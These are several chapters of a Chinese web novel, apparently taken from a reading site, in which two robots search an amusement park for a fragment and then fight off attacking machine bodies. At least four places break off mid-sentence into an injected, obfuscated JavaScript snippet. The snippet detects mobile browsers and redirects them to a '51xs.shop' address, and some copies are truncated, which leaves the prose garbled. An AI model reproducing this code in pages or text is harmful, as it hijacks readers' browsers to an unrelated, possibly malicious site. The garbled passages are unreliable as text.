“这首歌,”纪凛烛笑容灿烂,“叫《园游会》!” 玄烈默念着歌名,眼睛没离开她身上,陷进去了一般,忧愁全都抛到脑后去了。 “很、很好听。”玄烈说。 纪凛烛嘿嘿地笑,扯扯玄烈指向南边的鬼屋,“说不定咱们要找的东西就在那里面哦,怎么样?敢不敢试一试?” 说着,她就拽着玄烈往鬼屋走,嘴里还跟着音乐哼调调。 “你不会害怕了吧?”纪凛烛说。 正巧鬼屋又放进去一拨人,他们赶着队伍末尾,不用排队就走了进去。 “没有。”玄烈说。 冷气扑面,玄烈刚想吐槽这里空调比舜氏地下军队库开得还要夸张,纪凛烛先开了口,“有机会我倒真想试试看在鬼屋倒立着边吃刀削面边解数独,你说怎么会有这样的世界纪录啊?太变态了……” 看着纪凛烛嘟囔不止,玄烈直想笑。 他的笑容隐没在黯淡无光的鬼屋走廊,纪凛烛看不到。 鬼屋是仿废弃医院设置的,大体剧情是末世时代下丧失爆发,他们得在医院里找到无比珍贵的血清才能活下来,如果中途被丧尸标记或咬一口,他们就得等待同伴救援。 一听会被咬一口,玄烈下意识摸了摸自己的机械手臂,想着会不会把工作人员的牙齿咯掉。 真要这样,恐怕以后连鬼屋也要开设机器人专用通道了,让机器人自己咬机器人去。 一起进来的陌生人被安排在别的楼层,现在面前这阴森走廊里,只有玄烈和纪凛烛两人。 还有凉气从脚边的墙缝里渗出,时而飘来一阵消毒水的味道。诡异的红光充斥走廊,更有血红的手印遍布满墙。墙壁做有老旧掉皮效果,玄烈手贱摸了一把,倒真摸得他一手墙皮。 他们带上了鬼屋配备的夜视仪,依旧是什么都看不见,眼前一片绿乎乎的,却看谁都是脸荧荧发光的样子。 对视一眼后两人皆笑出声来,纪凛烛摆弄着夜视仪镜片,“这什么破玩意儿,把人照得好丑。” 玄烈咧着的嘴立刻合上了,他想象到自己现在在纪凛烛眼睛里的样子,肯定亮得跟个煞白的大饼一样。 走廊深处是三个房间。一扇门紧闭着,另外两间门都掉了下来,报废了医疗设施东倒西歪横在路上,还有一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他们在鬼屋上上下下绕了好几圈,证实手环所指示的地点根本不在这里。 在最后与一众猪头人牛头人马头人的追逐战中,眼见那道通向出口的铁栅栏门就要关闭了,为了把纪凛烛送出去,玄烈选择有担当地负责断后。 一门之隔,纪凛烛安全了,玄烈则难逃被咬好几口的命运。 几张血盆大口张开时,玄烈特别好心地问他们能不能不用咬的。扮鬼的工作人员大概是嫌不咬没效果,于是敬业地屏蔽了玄烈的话,端起他手臂就咬了下去。 结果可想而知,玄烈薄薄的口袋变得更加扁了,因为他得负担给人家补牙的钱,临走时还收获了一堆抱怨和白眼。 又走了一段路,玄烈全程面无表情,纪凛烛以为他是被骂伤心了。 “你没事吧?”纪凛烛小心翼翼地问玄烈。 实则玄烈是心痛自己今天出了大血了,“我没……” 玄烈话说一半,几只穿着新颖时髦的五代机械体小孩向他们走来。 想到他们又是来没事找事的,玄烈烦闷地攥起拳头。 可这里不是能打斗的地方,玄烈抓着纪凛烛转身要走。 “留步留步!”有个小孩突然大叫着跑了上来。 他贴得太近了,玄烈下意识要挥拳,却立马发现对方好像不是来挑衅的。 114. 游乐场(3) 五个小孩一只比一只眼睛闪亮,看见玄烈就跟看见神仙一样敬仰。刚贴上来的小孩想伸手抓他,但又觉得不合适,自己收回了手。 “老大!”一个小孩先喊道。 玄烈和纪凛烛对视一眼,纪凛烛先笑了,玄烈则有些不解,“我不是你们老大。” “……我们看见您战斗了!这场胜仗打得太漂亮,太、太帅了!是我们以前有眼不识泰山,您、您大人不记小人过!能不能带带我们?我们也想和您学习,我们也想打仗!”另一只小孩边结巴边说。 回忆起来,这次战争的确没出动这些新一批研制的五代小孩。大约是因为他们缺少经验,也用不着那么多人。何况韶赋修和潼霜也没全力以赴,保存实力是更重要的。 “战争胜利是大家共同努力的结果,我只是尽我所能去做,还有更多比我厉害的机械体,你们应该去找他们。” 见玄烈不松口,几个小孩脸色为难起来,其中一只唯唯诺诺地开口道:“我们听说……您就是当年的第一战备?” 玄烈不动声色,一直保持着他的冷脸,“听谁说的?” “道听途说、道听途说……”意识到这句话貌似冒犯了对方,小孩们皆不知所措。 如果我百分之百是的话,炳灿就不会死了。 那场凄惨的一战在玄烈脑海中尤为深刻。这些天他每一个看似发呆放空的瞬间,其实都是在考虑如果当时自己不那么做,如果能再多动动脑筋,早点识破琀珏的诡计,早点发现炳灿的不对劲。 后果是不是就会不一样? “我不是。”玄烈如实说。 小孩们分不清玄烈是说谎打发他们还是真的如此。 在他们互相对望疑惑间,玄烈已经和纪凛烛走掉了。 “有那么多小弟,不好吗?” 走出一会儿后,纪凛烛问玄烈。 “恃强凌弱的小弟,我不要。”玄烈说。 这时,他们已经顺着小路弯弯绕绕来到名叫“激流勇进”的漂流飞车前。 这里更是人山人海,排队长度有鬼屋那边的十倍有余。 “看来真的到夏天了。”纪凛烛念叨着。 人们的欢闹声和尖叫此起彼伏响彻在激起的水花间,这里比鬼屋那边也更潮湿十倍不止。 毒辣的烈阳把地面上的水烤得热气腾腾的,从水里出来的人变成了水饺,像玄烈这种站在一边的人就活生生蒸成了小笼包。 虽说他们这些机械体不怕水,但非必要他们还是很少下水里去的。 像炳灿那种闲得无聊就爱泡泳池的不算。 这里算是游乐场东北角,离他们要找的南边碎片还有点距离,要不是为了躲那些小孩,他们也不会走到这里。 “下次来玩!”纪凛烛说。 玄烈点点头答应了。临踏上通向正南方向的大路时,一侧纪念品摊处的吆喝吸引了他们的注意。 不大点的摊子上琳琅满目摆得全部都是游乐场主题与永璃岛主题的纪念品,小到金属徽章、冰箱贴、石制刻章、纽扣,大到抱枕、毛绒玩具、玩具大枪和舜氏生产的自行车、冰箱、空调等等。 “我第一次见有游乐场里面卖这些,”纪凛烛不可思议地摸了摸自行车的把手,“舜氏产品的销售据点居然还能开在游乐场里,和那些纪念品一起卖!” 自行车冰箱什么的太平平无奇了,真正吸引纪凛烛目光的还是那些小玩意。 一个个五颜六色花里胡哨的排列规整,每一颗金属材质的小玩意都将一颗光映射在纪凛烛眼睛里。 她看上去是真的喜欢这些。 玄烈随手拿起一刻着时韶花图案的胸针。的确有点分量,沉甸甸的,做工也不错。 “你想要吗?”玄烈问纪凛烛。 纪凛烛费好大的劲才把眼神从那些小东西上移开,依依不舍地撇过头去,“算了,太累赘。” “不累赘,”玄烈放下胸针,“我想要。” 听到玄烈也感兴趣,纪凛烛来了兴致,“好啊,你想要哪个?” “都行,”玄烈随意地环视了一圈,“阿烛,你帮我挑吧。” “好!”纪凛烛撸起袖子俯下身仔仔细细把所有物件看了一遍。 她抓起一个蜜蜂气球一样的徽章放在玄烈面前,“这个?” “可以。”玄烈说。 纪凛烛却犹豫了。琢磨了半天,她又拿起一颗龙卷风样式的光刻章递给玄烈,“这个好,随便盖在哪里,有光就能显现。” “好。”玄烈点点头。 “嘶——”纪凛烛又迟疑了。 后来她一连串拿了十几个东西,都各有各的精致漂亮,玄烈只一股脑说“好”、“好看”、“可以”、“喜欢”。 “哎,小伙子,”胡子拉碴的摊主拍拍玄烈的肩膀,“男人得有主见!” “主见?”玄烈一滞,大概明白了摊主的意思,于是把兜里所有的钱掏了出来递给对方,“刚才说的那些,我都要了。” 纪凛烛大惊,拍了拍玄烈的手臂,悄声说:“主见不是这个意思!” 但眼尖手快的摊主已经飞快地收起钱,又利落地把所有物品都包好,包成一个硕大的包袱,端到玄烈手里。 “常来哈!”摊主高兴地挥挥手。 纪凛烛汗颜,百般话挂在嘴边不知道怎么说,只能看着玄烈跟就个地主家的傻儿子一样抱着一大堆零零碎碎瞎乐呵,就是不肯放手。 “你把钱都花光了?”终于踏上了另一条路,纪凛烛问道。 玄烈忽地注意到了这一点,急忙摸向口袋,然而因为他的大幅度动作,包袱里金光闪闪的小玩意从袋子里掉出来好多。 “哎呀,你……”纪凛烛无语地笑着蹲下把东西都捡起来。 口袋果然扁得没边了……至少也得留下回去的车费啊! 纪凛烛把纪念品们放回玄烈抱着的包袱里,一双眼睛亮汪汪地交杂在闪着光的物件中。 玄烈不后悔,反而很幸福。 “多少还是得攒点,”纪凛烛把包袱系了个死结,“以备不时之需。” 玄烈认真地点点头,表示他全都听进去了。 可是他真的听进去了吗? 音乐还在游乐园内回荡,即使是在劣质音响的全损音质下,依然如此动听。 三三两两情侣相依相靠紧紧走过,他们大多都牵着手,说到什么都会甜蜜地对看一眼。可乐和冰激凌都是一份,一模一样的衣服却有两件。 玄烈问是因为他们都很喜欢这件衣服所以买一样的吗,纪凛烛回答这是情侣衫。 彩色泡泡从路灯上一只卡通小猫的嘴里冒出,一时间空气里多了肥皂水的味道。 世界在泡泡中变成了彩虹色,但真正的彩虹还是在玄烈身边。 纪凛烛说的没错,这么多东西实在碍事。 玄烈取出兜中一个手指大小模样像镜头的器械,将其往包裹上一扫,伴随着抽气的声音,一个大包袱就被压缩成戒指大小,轻而易举就塞进了口袋。 纪凛烛此刻正专注地边走边注视着自己左手的无名指,感受那愈来愈重的针扎感。 玄烈发誓下次来定要把这里逛个遍。 舜真说的对,人类世界真的是更有意思的存在。也正如纪凛烛所说,“如果你变成人类,我会觉得很好玩。” 真的很好玩,玄烈想这样说。 时隔几个月,他打算重新拾起变成人类的梦想。 一个想法在玄烈脑子里环绕,绕的他脑子缠成了蜂窝,一边叫他勇敢一点,一边叫他不要冲动。 掌心也因为这一想法而变得火热起来,火热到失去了无名指的感触,火热到他光是想一下就烧红了脸。 突然,身边的纪凛烛停下脚步看向他,玄烈一惊,以为自己的心被看得一干二净。 “好像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13113512|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很近了!”纪凛烛欣喜地说。 前方,巨型粉蓝色摩天轮缓缓转动。 苍穹之下,这是一种不同于舜氏高楼的气派。 如同命运之轮,每有一列人群排队踏上循环伊始,就有一列人结束了旅程。 好不容易驱散了脑袋里那个想法,玄烈松了一口气,无名指也有感觉传来。 下一秒,终于放凉的掌心突然再次变得火热,伴随着柔软的触感,如同一阵带着薄荷香气的温热之风。 正逢前一首歌拖着轻悠的调调结束,短暂的停滞后,《园游会》前奏再次响起。 纪凛烛牵着玄烈的手跑向那摩天轮,玄烈那并不存在的心跳漏了一拍。 省的玄烈说出刚才踌躇了很久没有说出的那句。 “我可以牵你的手吗?” 白色与淡粉色的小花交相在路旁的小树上绽放,花瓣不是圆钝的,反而很长很尖,向后弯曲,毛茸茸的,一簇一簇犹如落在绿色枝头的团团云彩。 纪凛烛将玄烈站到摩天轮面前站定,玄烈则闻到一股特别淡特别淡的植草香味,不知道是不是从那花间飘来的,闻得人心情舒畅。 “这里最明显!” 纪凛烛仰望着摩天轮,松开了玄烈的手。半天才反应过来纪凛烛说了什么的玄烈这才着急地扭动着手环。 “怎么了?”纪凛烛问他。 “好、好像失灵了……”玄烈说。 实际不是失灵了,玄烈比谁都明白,可整只手都火烧火燎得像个猪蹄,怎么可能有空隙用来感受手环给的指引呢? “现在不能确定是在摩天轮上还是这周围,咱们先在附近找找吧。”纪凛烛说。 玄烈点点头。纪凛烛先往摩天轮左边的棉花糖摊走去了,他呆愣愣要跟上,又反应过来应该分头行动来着,才转身往摩天轮右侧走。 好在手环的指示再次强烈起来,从微微的痒感已经变为完全的刺痛了,时而像针扎,时而像砂纸摩擦,指引着他们这里就是最终的地点。 但再怎么说碎片也是个挂坠大小的小东西,在如此纷乱的人流和建筑中寻找还是不容易的。 玄烈一门心思弯着腰在地上探索,一会儿摸摸被烤得炽热的柱子,一会儿掀起地上的石砖,只求不要让小孩捡了去。 偶尔看见有东西在地缝中一闪一闪,他扒开跑来跑去的小朋友就跑了过去,却发现只是另一个小孩的玻璃珠。 发现玻璃珠在奇怪的人手里,小孩“哇哇”地哭闹不止。害怕惊动了家长,玄烈只得耐心地安抚。 可他哪会哄小孩,片刻那小孩就哭得越来越大声,哭得惊天动地海枯石烂,玄烈惊人地发现小孩的哭声竟比得上最强劲的冲击波。 不得已,玄烈把买的部分小物件送给了小孩,对方这才渐渐止住了滚落的大颗泪水。在狠狠踩了玄烈一脚表示不快后,小孩一溜烟跑远了。 但他怪异的举动还是成功赢得了大多数在场人怪异的目光,身着黑绿色安保服的工作人员跑来,“您好先生,请问您是丢什么东西了吗?” “我……”玄烈略显尴尬。 “怎么了?”纪凛烛跑来。 “是这样,”工作人员道,“我们接到游客举报,说这里有行为可疑的人,疑似偷小孩,所以……” “我只是不小心捡了他的玻璃珠,”玄烈实话实说。 “误会误会,”纪凛烛说,“我们是一起来的,我的项链丢了,他在帮我找。估计是玻璃珠太亮了,他下意识以为是我的项链,才打扰了小朋友们玩游戏。” “原来是这样,”工作人员笑了笑,“抱歉,今天游客实在太多,我们担心会有不法分子混进来,所以不得不打起百分之百的警惕。那您描述一下您丢的东西吧,以及您在哪丢的,我们可以调取监控,也可以广播找一下。” “不用不用。”纪凛烛摆手道。 “我已经找到了。” 115. 游乐场(4) 找到了?玄烈心一惊。 “那就好。打扰了,祝您二位玩得愉快。”工作人员礼貌地笑了笑,转身离开。 待围观群众都散去,玄烈才开口询问:“找到了?” “没有,”纪凛烛摊开空空的手,“可能真的在摩天轮上。走吧,咱们去坐摩天轮。” “好。” 倒也没有失落,玄烈跟上纪凛烛的脚步。 十分窘迫,连摩天轮的票都是纪凛烛买的。 “情侣半价哦。”买票的小机器人说。 那怎么办,总不能说他们不是情侣然后一人买一张全价票吧。 钱塞进小机器人胸膛的那一刻,小机器人爆发了一句周围一圈人都听得一清二楚的叫喊:“祝二位甜甜蜜蜜!幸福终老!” 纪凛烛一听就乐了,玄烈从小机器人手里拿过票,脑子里始终回荡着那句“幸福终老”。 会终老的吧,只要这次胜利了,就一定可以的。玄烈默想着。 “想不到啊,你对小孩子的容忍度还挺高的嘛,”排队时,纪凛烛忽地转头对玄烈说,“我以前就不行,听到小孩子打闹尖叫大哭就头疼。” 玄烈说不上来刚才的心绪,反正他们机械人不被允许伤害平民,一直以来接受的教育就是人类为上。 再说了,相比起以前那些四五代小屁孩的刁难,这小孩已经够好对付的了。 等到快登上摩天轮时,纪凛烛又说:“不过现在不一样了。战争好像磨灭了大家的戾气,我现在看见那些孩子们也不会觉得有多讨厌了,反而觉得……还能活着、还能开心地玩闹,就是好事。” 摩天轮上每一个座舱都是饱满的球形,为了视线良好,还专门做了三百六十度无死角全透玻璃设计,连座椅都是透明的,人们坐上去就像坐在空气中,几乎看不到四周的舱壁。 后方,一对夫妻带着蹦蹦跳跳的小女孩从舱内走了下来。待前面一对情侣登入一个舱,后面这个缓缓转过来的座舱,就是玄烈和纪凛烛即将登上的。 舱内的世界与外面截然不同,他们也是进去才发现里面别有洞天。 且不说内里环绕着的冷气驱散了外部暑天的燥热,整个舱的内壁都覆有一层偏光涂料,使得阳光照射不再强烈刺眼。 穿过玻璃,外面景象饱和度骤升,色温渐冷,却更显粉调。一切仿佛蒙上了一层纯白的纱,远处建筑的边角处变得毛茸茸。 “所以……” 坐在舱内遥望着远方风光,纪凛烛要把刚才没说完的话继续讲下去。 “永璃岛的敌人不只是潼氏和韶赋修,还有舜停、程炼和所有曾经参与过他们那些烂事的人。玄烈,这些人所做的罪恶不比韶赋修少多少,贩卖器官、搞恶毒实验,不是他们下台了就没人记得,这些残害生命、视人命为草芥的人,跟韶赋修同样该死。” 玄烈着实没有想到在这样灿烂优美的地方纪凛烛会说这么一番话。 她的心太沉重了,沉重到压根不是玄烈想参与就能轻而易举参与进去的。 “如果有机会,杀了他,杀了他们。” 看着玄烈,纪凛烛说。 “……好。” 长久地望着纪凛烛,玄烈做出了肯定的回应。 一定会做到的。 摩天轮升起的速度太过缓慢,他们贴着玻璃观察了一番连杆与塔架,并没有什么发现。 “应该不会在这么刁钻的地方吧……”纪凛烛念叨着。 玄烈俯视下方景色,发现那盛开着白色小花的树不止摩天轮附近这一片地方,整座游乐场都是,只是他之前没注意到。 “一般这里不都会种樱花吗?”玄烈问。他在网络上见很多游乐场的图片,每当樱花或海棠绽放时,世界都掩埋在满天纷飞的白粉色薄纱一样的小雨点中。 “可能建设这座游乐场的人喜欢这种花吧。”纪凛烛也放弃了寻找,托着下巴说。 “这种花叫什么名字?”玄烈接着问道。 纪凛烛目光转移到玄烈身上,嘴角微扬,“你伸出手来。” 玄烈乖乖照做,将他右手手掌摊开到纪凛烛面前。 “我只写一遍,你试试看能不能猜到。”纪凛烛说着,用手指轻轻在玄烈手掌上画道道。 掌心一阵阵发痒,痒得玄烈手指有点发抖。纪凛烛指尖冰凉,玄烈不明白为什么这么热的天她会有那么凉的手,凉到玄烈那么烫的手都觉得要结冰了一样。 在七拐八拐像是画了个迷宫之后,纪凛烛把玄烈的手推回到他自己面前,“好啦。” 触感还在掌心蔓延,玄烈不敢说自己没猜到,只结巴地说了两句“好”。 待座舱缓缓登至顶峰,他们轻而易举瞭望到了远处舜氏大楼的影子,中间隔着的树林簌簌随风摇荡,靠近这边的市区虽也有高楼林立,却不像舜氏大楼那样宏伟气派,看上去完全不像一个科技发达的地方。 玄烈算是明白了所谓的“人间烟火味”有多么重要。相比较霓虹闪烁的哉徉岛,这里的确更让人舒服一些。 “我原先以为当年的第一战备,是你。”玄烈对纪凛烛说。 纪凛烛眼眸和缓,抿唇轻笑着,“现在呢?你觉得我是谁?” “不清楚。”玄烈答道。 “你希望我是吗?机器人。”纪凛烛望着玄烈。 漫长的停顿,玄烈也不知道自己怎么想的,这个问题也困扰他很久了。 “我希望你不是。”玄烈最终答道。 纪凛烛没急着回答,嘴角弧度咧得更大了,看不出来对这个答案是满意还是不满意。 她双腿岔着,脚后跟蹬着地,掌心撑在座边,略略弓着背,头微微地无力低着,空洞的目光穿过脚下玻璃直望地面。 “是又不是又怎么样呢?”片刻,她又浅笑起来,抬起平静的脸,抬起柔和的目光,“玄烈,你会信命吗?” 玄烈迟疑地摇摇头,“如果人类所说的命是指我们注定何时被人类制造,何时按照程序设定消亡的话,我信。” “我不信,”纪凛烛定定地看着玄烈,“不管是人为设定的命还是天注定的,我都不信。” 玄烈不知道纪凛烛突然问这个问题是什么意思,但他沉默太久了,以前没出口问的,现在依然开不了口。 “玄烈,你别想太多。”纪凛烛依旧保持原样坐着。 因用力撑着椅子边而泛白的掌心,因不安而点来点去的脚后跟,因内心复杂情绪而织就的微小表情,她现在在玄烈眼中活泼灵动到一丁点看不出机器人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13126007|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影子。 大概是我想错了,一直以来都想错了,玄烈想。 “我做这一切不是因为林老师做的,也不完全因为我父母,更不因为我不相信你。林老师的夙愿困不住我,我父母或真或假的阴谋困不住我,所谓二十年前后的恩怨在我眼里不过是场泡影……” 纪凛烛笑容深沉地说。 “玄烈,我走到今天这一步不为了任何人。你不必担心我,也不用担心你自己,不要背负那些有的没的的无谓仇恨,一切都是因为你想做,就做了。” 摩天轮一循环的时间好长,长到仿佛度过了一整个命运循环。 人们不能贪心,这样的美景想再看一遍就要多花一份的钱,代价与收获也都是永恒的。 从起点到高处再到落地,任何人逃不过这一个圈。 玄烈突发奇想要做一个如同过山车一样崎岖复杂的摩天轮。 落地时,他有种恍惚感,就像这一切都结束了,现实在这一刹那发生了完全的转变。 这是一种神奇的感觉,他莫名笃定,很快就会不一样了。 蹲守在一边观察每一个座舱,确定碎片在这一片地区却不在任何一个座舱内后,他们再次打起精神围着摩天轮寻找。 “应该就是这里啊……”纪凛烛的脸隐在树荫下一片黑一片白。 玄烈坐在树丛边觉得自己手指头快要被高温给融化了。 旁边的土很阴凉,玄烈拨弄一番土表面的残枝落叶,试探性将手完全贴在土壤表面。果然很凉快。 突然,他无名指尖爆发出一阵剧痛,痛得他“嘶”了一声,仿佛被火钳子边烫边夹着,简直是双重折磨。 玄烈即刻开始扒拉那灰黑色湿润土壤,很快扒出了一个坑,两侧堆起了小小土丘。 就在这奇异的花树荫下,十几厘米深的地方,玄烈摸到一颗硬邦邦像石头一样的小东西。 触碰到其清凉光润的表面和一道一道的叶纹,手环带来的疼痛急剧缩减,他脊柱都僵硬了。 就在这里,就是这个。 玄烈将其攥在手里,又悄无声息把翻起来的土恢复成平坦的原样。 “阿烛。”玄烈轻声呼唤道。 “嗯?”纪凛烛问询走来。忽地,她意识到了什么,眼神即刻就变了。 这时,玄烈举起攥着宝贝的那只手,终于得以释放出成功的微笑。 在玄烈将要摊开手给纪凛烛展示他的发现时,整座游乐场,不,是整座永璃岛,几乎所有可以发声的设备,全部都如同提前设计好了一般,一齐激发出撼天动地的声响。 “哔、哔——三枚碎片已全部出现完毕。此阶段第三碎片持有人——舜氏集团二代机械体玄烈。至此,碎片寻找比赛最终阶段结束,最终战利品存放地点定位即将正式开放……” 四目相对的瞬间,时间仿佛凝滞了,千万双眼瞄向他们。 而后,玄烈和纪凛烛皆听到了四面八方涌来的脚步声,那急促的呼吸,那恶魔般染着屠戮和血气的低语,带着要将他们撕碎的气势。 人潮汹涌,他们找不到一处可以藏身的地方。 这下也顾不得他们谁是战争的英雄,没有崇拜没有尊敬。 每个人本性暴露,回归了最初的野蛮。 116. 纪凛烛(1) 在更多人马裹挟着尘烟冲来时,在场人们仿佛这才想起来几天前发生在市区的惨案,于是全都尖叫着四处逃窜。 大人小孩逃窜的方向是机械体们涌来的反方向,他们机灵地察觉到摩天轮下这两个人很可疑,全都拿玄烈和纪凛烛当鬼一样躲。 至少他们的定位尚未被破解,眼下只要躲过追杀,成功回到舜氏就好了。 摩天轮附近太空旷,玄烈观察游乐园地图,决定先往小游乐设施居多的中部跑。 前脚收起了地图,后脚一颗子弹就擦着玄烈身边的空气击中了他面前的树。紧接着,玄烈听到一声凌厉的破空声,他敏锐躲开,就见一只机械体粗壮有力的拳头扑了空。 第一批机械体已经赶到了。 从这机械体外貌上看,他是三代,有着和炳灿一样的体型,五官稍稍有所不同。 看见对方的时候玄烈一愣,但他很快拔出了长而锋利的库星锥,二话不说便向那手臂砍下去。 可玄烈失败了,因为他这头刚扬起库星锥,另一头就又有眼睛血红的机械体跳出来不要命地拽住了他的锥刃。左边又来了几只,皆拿手枪对准了玄烈的脑袋。 “砰砰”两声,玄烈下意识眨眼,再一看,有两个机械体脑袋被打穿了。 玄烈用力一挥库星锥,抓着他的机械体被慌乱一掀,身体横飞出去将别的机械体撞到了。他没有停下,不管冲来的是手还是头还是武器,玄烈都接连砍了个遍。 纪凛烛拿着手枪拽了拽玄烈,“不能恋战!人越来越多了!” 一口气消灭了七八只,玄烈和纪凛烛一同钻入小径杂乱的树林,向导航的中部地区跑去。 他们的衣服和肩膀蹭得树枝一颤一颤,白色小花沿线散落了一路,还有部分粘在了他们衣领上。 幸好一出树林就来到了CS场地。里面迷彩色掩体不少,他们先行躲在了一堆假弹药箱后。 玄烈回顾刚才那稳准狠的两枪,再看了看纪凛烛手里的小手枪,“那两枪是用它打的吗?” 纪凛烛摆弄了两下那小枪,“之前炬衍给我的,幸好今天带上了,没想到有这么大威力呢。” 有悉悉窣窣脚步声从四面八方涌入了场地,还有刀剑刃被磨得发出“噌噌”的声音。 “我说三二一咱们跑吧,”纪凛烛悄声说,“三、二……” 突然,他们的通讯器皆不约而同亮起了提示灯,“嗡嗡”震动声是此刻最响亮的声音,黑压压的影子从后方逼来,来不及接通,玄烈拽着纪凛烛就向外奔跑。 先跟上他们的不是脚步声,而是接连不断的枪响。横飞的子弹细密如针,这是四代普遍普及的特制枪,威力不大,却有强毒性。 他们在一方方大小不同的掩体间绕着圈跑,边跑边接通那差点害死他们的电话。 “喂!玄烈啊!小同志……”向繁森断断续续的呼喊声从那边传来。 听不见回应,只听见急速奔跑的呼吸声和风声,向繁森接着念叨:“……所有机械体听到消息全部都要去抢!你们千万要小心啊,我刚刚……哎,小真!” 似乎是他正巧捕捉了路过了舜真,后面的话都是对舜真说的。话语传到玄烈耳朵里朦朦胧胧的,他只能尽力去辨听。 “……小真啊,那些机械体管不住了……这样下去玄烈他们会有危险,你能不能……出兵啊,黑寂军!得去帮他们……公平重要还是芯片重要啊……” 听着听着,那边阿盼突然喊了一句,“人命重要啊!” “小真,你一定要……”向繁森还在碎碎念,“他们是在帮你做事吧,你怎么能……” 绕出了CS场地就到了中部地区,面前是云霄飞车、旋转木马、跳楼机和大摆锤。这里游乐设施很多,地形复杂,易于躲避追赶。 可下一秒,就又有数不清的机械体从那些设施背后钻了出来,皆怒目仇视着二人。玄烈心已凉,向繁森却还在他耳边絮絮叨叨说着乱七八糟的话。 挂断前,玄烈听到向繁森又说了句:“你们别着急啊,伏策和阿盼还有绯篱已经出动了……他们不是去抢碎片,他们是去帮你们的,还有……” 一柄飞刃直直扎来,玄烈切断联络侧身一躲,任飞刃扎进他身后的石头柱子里。 战斗一触即发,纪凛烛端起枪百发百中即刻击毙了三只机械体,但更有成百上千人冲了上来。 库星所制造的小型爆炸接连在敌人们脚下引发,炸得它们高高飞上了天变成一朵朵炸金花。对面用什么武器的都有,枪械炮弹大刀小刀,用电的、用拳头的全都一窝蜂乱战。 不过,就连最先进的五代体也很难奈何他们。库星锥划穿他们脖子和眼睛就像切豆腐一样顺滑简单,纪凛烛的机械臂也能轻而易举揪起两只机械体的领子再大力把他们扔出去。 但这样真的好吗?大家都是拼尽全力从战场上活下来的人,战争时每个人的战斗都是为了大家、为了彼此。现在就要这样同室操戈自相残杀吗? 玄烈放缓了动作,能敲晕它们就不用非要置对方于死地。原本库星锥是像旋风一样席卷在高处,玄烈却用它只攻击机械体的手臂和腿了。 人越来越多了。他们先前能将机械体群劈开一条小路借以周转,但现在不行,无论怎么攻击怎么杀,一波人退却又总有一波人堵截上来。 反射着太阳光辉的刃尖在机械体中一闪一闪,子弹胡乱飞舞,不是击中玄烈和纪凛烛就是击中别人。 一些被玄烈手下留情的孩子都被射向他的子弹杀死了,场面一片混乱,不管他怎么做都会死人。 玄烈明白舜真不出兵的原因。现下失控的机械体全都挤在这里,如果她再调黑寂军前来镇压,内会折损很大一部分机械体,外会面临失守危险。 但是她真的全然无动于衷吗? 一条刀片在飞向玄烈眼睛的途中被纪凛烛抓了下来,高强度运作机械臂的能量在她手腕间擦出火星。 不能杀,只能逃,逃又逃不出去。 一些机械体已经跃至别的机械体的肩膀,从上方踩着下面人跑来。人墙一般,玄烈所能看见的天空急剧缩小,黑漆漆的死亡阴影逐渐将他笼罩。 上个小时还是温馨祥和的游乐场俨然变成了机械体屠宰地。 硝烟代替了花香,气球、玩具和路边摆着冰激凌爆米花的摊子被掀翻,所过之处一切都被踩得稀烂。 “噌”的一声,玄烈膝窝一软,险些没站稳。是一只五代小孩瞪着发绿的眼睛给了他一刀。 玄烈也忽地起了杀心,用脚只踹向那小孩的鼻梁,把其踹得消失在人群中。 他听到了什么东西爆裂的“咔咔”声,大概是那小孩瞬间就被人潮踩碎了。 一颗子弹打中了纪凛烛的手,所幸有机械臂防护,所幸对方拿的是一小破枪。 那只四代体趴在一辆甜品车的车顶上,便宜劣质的枪管口仍冒着子弹高速擦出枪管留下的余烟。玄烈端起库星瞄着那机械体,却被纪凛烛抢先。 一只金属尖刺迅捷从轰乱的地界窜出,玄烈刚瞄准了那机械体举着枪的手,就见那金属尖刺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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视线越过如饿虎扑食一般怼在盾上的那些面庞,玄烈将库星枪口冲向那海盗船上方与钢铁架的连接点,扣下扳机。 “砰”的一声,那声音比大摆锤掉下来还要恐怖。 炮弹带出火浪冲向目标,炙烈的空气在半空舞动,其强大的冲击力撩倒了一片机械体。 仅在眨眼间,那海盗船不是被击落的,而是直接于半空中碎掉了。一阵短暂而平等的眼瞎同时,是数不尽的碎片炸裂横飞。 这个度把握得不错,爆炸使得碎片存在让它们变成武器,又不至于威力太过强势而直接把海盗船变成一堆碎末。 温度骤升,干燥郁热。极度的光明之中,机械体们开始横冲直撞。碎片“乒乒乓乓”砸得盾一直响,许多机械体被炸得、被碎片砍得原地大碎八块。 